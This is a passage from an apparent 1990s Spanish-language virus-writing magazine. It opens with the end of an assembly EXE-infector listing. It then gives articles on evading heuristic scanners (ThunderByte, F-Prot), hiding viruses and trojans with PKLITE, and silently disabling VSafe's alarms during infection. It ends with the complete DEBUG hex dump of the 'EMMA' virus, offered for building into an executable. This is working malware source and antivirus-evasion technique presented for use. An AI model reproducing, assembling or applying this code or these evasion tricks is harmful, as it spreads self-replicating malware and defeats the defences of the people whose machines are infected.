cx, 200h ; Hacemos la sgte. cuenta : div cx ; FileSize/512 = PAGES. FileSize modulo 512 = Resto inc ax ; redondeamos para arriba mov word ptr ds:ExeHeader+2, dx; Lo guardamos en el header, para mov word ptr ds:ExeHeader+4, ax; escribirlo despues mov word ptr ds:Checksum, 'JA'; Ponemos la marca de identificacion ; del virus en el checksum. add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h ; Al 'MinAlloc' ; le sumamos el numero de paragrafos del virus, para que no haya ; problemas en la alocacion de memoria. (Tambien le sumamos 10 para ; grafos para la stack del virus. mov ax, 4200h ; Vamos al principio del file cwd xor cx, cx int 21h mov ah, 40h ; y escribimos el header modificado... mov cx, 20h mov dx, offset ExeHeader int 21h mov ah, 2 ; sonamos una campanita :-). Para que al novato mov dl, 7 ; no se le pase por alto que el virus esta en memoria int 21h ; SI DESPUES DE ESTO TE INFECTAS, CORTATELA, GIL. AbortInfect: mov ah, 3eh ; Cerramos el file que abrimos. int 21h pop ds ; Popeamos los registros que habiamos pusheado para pop dx ; conservarlos. pop cx pop bx pop ax;flags ; Esto es para pasar las flags bien. Pueden ignorarlo mov bp, sp ; los novatos. mov [bp+12], ax pop ax pop bp add sp, 4 iret ; Devolvemos el control. ; Data OldInt21 dd 0 ; Aqui guardamos el address original de INT 21. ExeHeader db 0eh DUP('H'); SS_SP dw 0, offset VirEnd+100h Checksum dw 0 CS_IP dw offset Hoste,0 dw 0,0,0,0 ; Esto es el header del EXE. VirEnd label byte Hoste: ; Este no es el codigo del virus, sino el del "falso hoste", para que ; el file carrier corra bien :-). mov ah, 9 mov dx, offset MSG push cs pop ds int 21h mov ax, 4c00h int 21h MSG db "CUIDADO! Ahora el virus ESTA EN MEMORIA!", 13, 10 db "Y puede infectar todos los EXEs que corras!", 13, 10 db "Si te infectas es problema TUYO", 13, 10 db "No somos responsables de tu boludez!$" ends end -------------------- Cut Here ------------------------------------------------ % Conclusion % Bueno, that's all, folks. Este articulo intento ser de utilidad tanto para el profano que recien empieza a hacer virus, como para el que ya la tiene mas clara. Si, ya se que los principiantes no habran entendido muchas partes dada la dificultad que revisten, y los expertos quiza no habran entendido otras partes dada la incoherencia y la pobreza descriptiva (?) del redactor, pero bueno, fuck it. Igualmente espero que haya sido de utilidad, y espero ver muchos mas infectores de EXE por ahi a partir de ahora. Y a modo de despedida, un desafio para los lectores: Hacer un infector de EXE capaz de infectar EXE de 800k. Yo creo que es imposible. El premio: Una subscripcion vitalicia a Minotauro Magazine :-). Trurl, el gran constructor Evadiendo al Thunder_byte... ------------------------------------------------------------------------------- Bueno, en esta secci¢n veremos algunos de los m‚todos de evaci¢n de an lisis heur¡sticos..............pero basta, suficiente charla..! A) Reconocimiento de MZ ^^^^^^^^^^^^^^^^^^^^ Muchos de los antivirus con heur¡stica, joden las bolas con este tema: EXE/COM determination!!! WARNING CATASTROFE MUNDIAL!!! Bueno, para no asustar a los usuarios de estos programas podemos, en el momen_ to de verificar si es MZ, en vez de verificar 'ZM' directamente.. verificar byte x byte... : primero si es 'M' y despues si es 'Z' B) Deschave de la rutina de b£squeda ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Una manera para anular esta otra falsa alarma :-), es en vez de buscar *.COM por ejemplo, buscar "*.C?M" , lo que signinfica un gran porcentaje de las po_ sibilidades.. Una vez que ya encontramos alg£n file que cumpla con esta condi_ ci¢n, lo £nico que hace falta saber, es si la letra del medio es una "O". Con esto el Tbav, por ejemplo se calla la boca. C) Llamadas a servicios no documentados ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ahora, esto es una de las boludeces mas grandes del planeta... En vez de por ejemplo hacer un : MOV AX, 3546h INT 21h hacer: PUSH 3546h POP AX INT 21h (No puedo creer que no se les haya ocurrido...:) D) Vuelta al Entry Point ^^^^^^^^^^^^^^^^^^^^^ Otra falsa alarma del tbav (que programa tan boludo!) es el reconocimiento del regreso al entry point. Pero no desesperar.... porque este bug se puede corre_ gir de la misma manera anterior. Por ejemplo en un .com ser¡a esto : MOV AX, 100h JMP AX entonces lo cambiamos por : PUSH 100h POP AX JMP AX E) Acceso Sospechoso a Archivos ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Otra cosa que no le gusta al tbav es el momento en que el virus CAMBIA los a_ tributos del file.. Entonces ya saben que hacer : lo mismo que antes. Ocultar el servicio.....en vez de llamarlo MOViendo, llamarlo PUSHeando y POPeando. F) Flexible Entry Point ^^^^^^^^^^^^^^^^^^^^ Otra actitud que no le gusta, es cuando calculamos el offset... (el tema de BP y esa mierda).. Bueno, para esto hay un camino paralelo... En vez de hacer : CALL FALSO FALSO: POP BP SUB BP, OFFSET FALSO ... ... podemos hacer lo siguiente..: CALL FALSO FALSO: MOV DI, SP MOV BP, WORD PTR SS:[DI] SUB BP, OFFSET FALSO INC SP INC SP ... ... Lo que estar¡amos haciendo, es simular un POP... con esto el TB no se entera. Ahora que cagamos al Tbav, caguemos al F-prot.... A) Ejecutemoslo !! jajja Ocultando virus, troyanos... ------------------------------------------------------------------------------- Fuente original del texto : 40-hex #2 Estos trucos los saqu‚ de varias revistas, trucos (ahora que los s‚, obvios) bastante piolas... Imag¡nense que tienen un virus no-encriptado, que un scaner heur¡stico lo de_ tecta, o sino un troyano que un chekeador de troyanos reconoce como programa que accede a disco sospechosamente... Para evitar esto podemos simplemente PKLITEearlos.... el PKLITE, por si no lo conocen, es un compresor de ejecuta_ bles, dej ndolos todav¡a en este estado. Este pklite, comprime el archivo.... una vez que lo tengo comprimido, la estructura "f¡sica" del file cambia, lo que hace al file "invis¡ble" a los scanners heur¡sticos, o a los checkeadores de bombas. Un posible problema es el CHK4LITE, que chekea internamente un ejecutable compactado. Pero no desesperar....el archivo compactado, posee un header: "PKLITE Copr.........Reserved" y sigue "Not Enough Memory$" Para remediar esto ten‚s que borrar el header o sobreescribirlo con basura, pero cuidado con borrar el "$". Ese no se borra, ok?? Con esto nos aseguramos, una entrada limpia y sin problemas. Ojo....obviamente el virus queda "modificado" solamente la primera vez....de ah¡ en mas, sigue siendo el virus normal. Vsafe, una alegr¡a :) ------------------------------------------------------------------------------- Idea original de Cyborg Bueno, como todos ya sabr n, el Vsafe no es el programa m s seguro del mundo... Hasta ahora con 3 lineas de c¢digo, lo desinstalabamos y listo... no hab¡a m s problema... Para desinstalarlo, no hac¡a falta mas que tipear: MOV AX, 0FA01h MOV DX, 5945h INT 21h Con esto era suficiente para sacarlo de memoria...... pero si nos cruzabamos con alguien que tenga mas culo que nosotros, pod¡a suceder el caso de que el Vsafe quedase 'abajo' de otro residente, con lo cual el Vsafe har¡a saltar un feo cartel que dice 'Vsafe no se puede remover ... bla bla bla'. Adem s, si el tipo este (de pedo obviamente) quisiera entrar al men£ de Vsafe y encontrara que no hay mas Vsafe, podr¡a empezar a sospechar algo... Para evitar esto lo que se puede hacer es, en vez de removerlo directamnete a lo bruto, podr¡amos anular las alarmas mientras infectamos y volver a setearlas cuando terminemos de infectar.. Para esto, estuve analizando algunos sub_servicios del Vsafe y descubr¡ cosas muy interesantes: MOV AX, 0FA__h ;__ es la subfucion correspondiente MOV DX, 5945h INT 21h Sub_funci¢n 00h ^^^^^^^^^^^^^^^ AL <== 00h ;Chequeo de residencia (supongo). Si el Vsafe est  ;residente, en BX me devuelve 2F00h y si no lo est , ;lo deja intacto. Si est  residente: 2F00h ==> BX Si no lo est : BX ==> BX Sub_funci¢n 01h ^^^^^^^^^^^^^^^ AL <== 01h ;Desinstalar el Vsafe... existe la posibilidad de que ;quede 'encerrado' y no pueda desinstalarse. Sub_funci¢n 02h ^^^^^^^^^^^^^^^ AL <== 02h ;Esta es la funci¢n salvadora... Cuando la ejecuto, BL <== Flags ;en BL necesito los nuevos flags del Vsafe... Flags ==> CL ;Obviamnete no me caliento demasiado en pensar cu l ;necesito apagar y apago todos... ;Una vez que llamo a esta funci¢n, en CL me devuelve ;los atributos anteriores (justo lo que necesito para ;despu‚s volver a dejarlo como estaba)... Bueno, hasta aca llegu‚ por hoy, mi objetivo ya lo cumpl¡.... pero igualmente otro d¡a con mas ganas voy a averiguar el resto de las subfunciones. Detalle: ^^^^^^^^ Hay ocasi¢nes donde el flag de "Protecci¢n contra escritura" se torna denso... Por ejemplo: El virus se ejecuta en una m quina 'normal' y funca todo ok, pero que pasa si la m quina tiene un cache de escritura?? El Vsafe salta la alarma, debido a que para el momento que el programa es escrito en el disco, el Vsafe ya est  otra vez cargado como antes. Para esto podr¡amos sacar ESE flag con un AND, por ejemplo: and bl, 11111011b ;Donde el bit 2, es el de Prot. contra escrit. El resto de los flags son los siguientes: Bits 7 6 5 4 3 2 1 0 . . . . . . . 1 Formato HD de bajo nivel . . . . . . 1 . Residente . . . . . 1 . . Protecci¢n contra escritura . . . . 1 . . . Verificaci¢n de archivos ejecutables . . . 1 . . . . Virus de sector de inicio . . 1 . . . . . Protecci¢n de sector de inicio HD . 1 . . . . . . Protecci¢n de sector de inicio FD 1 . . . . . . . Protecci¢n de archivos ejecutables Enjoy !! Drako.. EMMA virus... ------------------------------------------------------------------------------- Bueno, aqu¡ les madamos el script del EMMA, (Expanded Memory Major Annoyance). Un virus que se aloja en la memoria expandida... en el pr¢ximo n£mero, comenta_ remos su funcionamiento, obviamente con su fuente adosado! Lo £nico que necesitan hacer para tranformar esto en un ejecutable, es : DEBUG < TEXT_007.001 Obviamente, recortando todos los comentarios :-) Bye! ;----------------------------------Cut here------------------------------------ N EMMA.COM E 0100 E9 02 00 CD 21 E9 EE 00 B8 00 4C 45 4D 4D 58 58 E 0110 58 58 30 E9 4D 50 9C 2E 80 3E 39 00 00 75 31 60 E 0120 B8 00 44 33 DB 2E 8B 16 37 00 CD 67 61 9D 9A 51 E 0130 00 00 00 60 9C B8 00 44 BB FF FF 2E 8B 16 37 00 E 0140 CD 67 8B EC 8B 46 00 89 46 16 9D 61 CF 00 00 00 E 0150 9D EA 00 00 00 00 9C 92 81 FA 00 4B 74 07 92 2E E 0160 FF 1E 4D 00 CB 9D E8 7E 00 92 1E 52 9C 2E FF 1E E 0170 4D 00 9C 60 1E 8B EC C5 56 14 B8 02 3D CD 21 93 E 0180 B4 3F B9 03 00 0E 1F BA 03 00 CD 21 B8 02 42 99 E 0190 33 C9 CD 21 2D 03 00 50 2D 9B 01 3B 06 04 00 74 E 01A0 29 B8 4D 5A 3B 06 03 00 74 20 58 A3 0F 00 B4 40 E 01B0 B9 9B 01 99 CD 21 B8 00 42 33 C9 99 CD 21 B4 40 E 01C0 B9 03 00 BA 0E 00 CD 21 EB 03 83 C4 02 B4 3E CD E 01D0 21 E8 13 00 1F 61 55 8B EC 8D 66 08 50 8B 46 02 E 01E0 50 9D 58 8B 6E 00 CB 50 1E B8 24 00 8E D8 80 36 E 01F0 39 00 01 1F 58 C3 60 2E 8B 1E 01 01 81 C3 03 01 E 0200 E8 0A 00 8B FE 8D 77 03 A4 A5 61 FF E6 53 56 06 E 0210 1E 53 53 1E B8 24 00 8E D8 81 3E 00 00 9C 2E 1F E 0220 74 76 8D 77 06 B8 67 35 CD 21 BF 0A 00 B9 08 00 E 0230 F3 A6 75 64 B4 42 CD 67 83 FB 01 7C 5B B4 41 CD E 0240 67 5E 2E 89 5C 2C 8E C3 B4 43 BB 01 00 CD 67 2E E 0250 89 54 48 B8 00 44 BB 00 00 CD 67 B8 21 35 CD 21 E 0260 2E 89 5C 4D 2E 8C 44 4F 2E 8E 44 2C 33 FF B9 9B E 0270 01 F3 A4 B8 00 44 BB FF FF CD 67 BF 24 00 8B DF E 0280 8E C7 33 FF 5E 83 C6 11 B9 40 00 F3 A4 8E DB 33 E 0290 D2 B8 21 25 CD 21 EB 03 83 C4 04 1F 07 5E 5B C3 E 02A0 EB 5D AD 95 B2 10 EB 5E AD 95 B2 10 EB 5F AD 95 E 02B0 B2 10 72 08 A4 D1 ED 4A 74 F4 73 F8 33 C9 33 DB E 02C0 D1 ED 4A 74 C5 D1 D3 D1 ED 4A 74 C4 D1 D3 85 DB E 02D0 74 17 D1 ED 4A 74 BF D1 D3 80 FB 06 72 0B D1 ED E 02E0 4A 75 04 AD 95 B2 10 D1 D3 2E 8A 8F 61 01 80 F9 E 02F0 0A 74 75 33 DB 83 F9 02 74 2A D1 ED 4A 74 9D 72 E 0300 23 D1 ED 4A 74 9C D1 D3 D1 ED 4A 74 9B D1 D3 D1 E 0310 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB 02 73 16 2E E 0320 8A BF 71 01 AC 8A D8 56 8B F7 2B F3 1E 06 1F F3 E 0330 A4 1F 5E EB 80 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 E 0340 80 FB 08 72 DA D1 ED 4A 75 04 AD 95 B2 10 D1 D3 E 0350 80 FB 17 72 CA D1 ED 4A 75 04 AD 95 B2 10 D1 D3 E 0360 81 E3 DF 00 86 DF EB BC AC 02 C8 80 D5 00 3C FF E 0370 75 81 5B 8B EB 83 C3 10 33 C0 AC 91 E3 0F AD 03 E 0380 C3 8E C0 90 AD 97 26 01 1D E2 F9 EB EB AD 03 C3 E 0390 92 AD FA 8E D2 8B E0 FB AD 03 D8 53 AD 50 8E C5 E 03A0 8E DD 33 C0 8B D8 8B C8 8B D0 8B E8 8B F0 8B F8 E 03B0 CB 03 00 02 0A 04 05 00 00 00 00 00 00 06 07 08 E 03C0 09 01 02 00 00 03 04 05 06 00 00 00 00 00 00 00 E 03D0 00 07 08 09 0A 0B 0C 0D 80 3E 64 AB FF 75 0C BF E 03E0 0D A7 BD 64 AB E8 E1 00 E8 82 E2 32 C0 86 06 C3 E 03F0 AB 0A C0 75 03 E9 8D 00 8B 36 66 AB BF 21 AA B8 E 0400 00 29 CD 21 80 3C 00 74 06 BA 60 9C E9 53 FF A1 E 0410 69 AB 80 FC 3A 74 02 B0 40 8A 0E 85 AC 0C 20 2C E 0420 60 A2 21 AA A0 68 AB 8A 26 CB AB 25 02 02 0A C0 E 0430 74 13 3A C4 75 0F 80 3E 86 AC 00 74 08 FE 06 C4 E 0440 AB 32 C0 EB 06 34 02 22 C4 D0 E8 0A 06 86 AC A2 E 0450 40 A8 D0 E0 D0 E0 A2 7F AC 80 3E 81 AC 00 75 25 E 0460 08 06 85 AC 0A C9 75 1D 0A C0 74 19 8B 0E 50 A8 E 0470 E3 13 B0 1A 06 33 FF 8E 06 2D A8 F2 AE 07 75 05 E 0480 4F 89 3E 50 A8 BB 65 AA 80 3E 40 A8 00 74 03 BB E 0490 AB AA BE 22 AA 8B 3E 66 AB B9 08 00 AC 3C 3F 75 E 04A0 02 8A 07 3C 20 74 01 AA 43 E2 F1 B1 03 B0 20 38 E 04B0 04 74 12 B0 2E AA AC 3C 3F 75 02 8A 07 3C 20 74 E 04C0 01 AA 43 E2 F1 32 C0 AA C3 F6 46 04 02 75 43 8B E 04D0 D5 83 C2 05 57 B8 00 6C BB 40 00 33 C9 8B F2 BA E 04E0 01 01 CD 21 5F 73 15 E8 C6 D9 3D 02 00 74 23 3D E 04F0 03 00 74 1E 3D 05 00 74 19 E9 E5 D6 8B D8 B8 00 RCX 1A0 W Q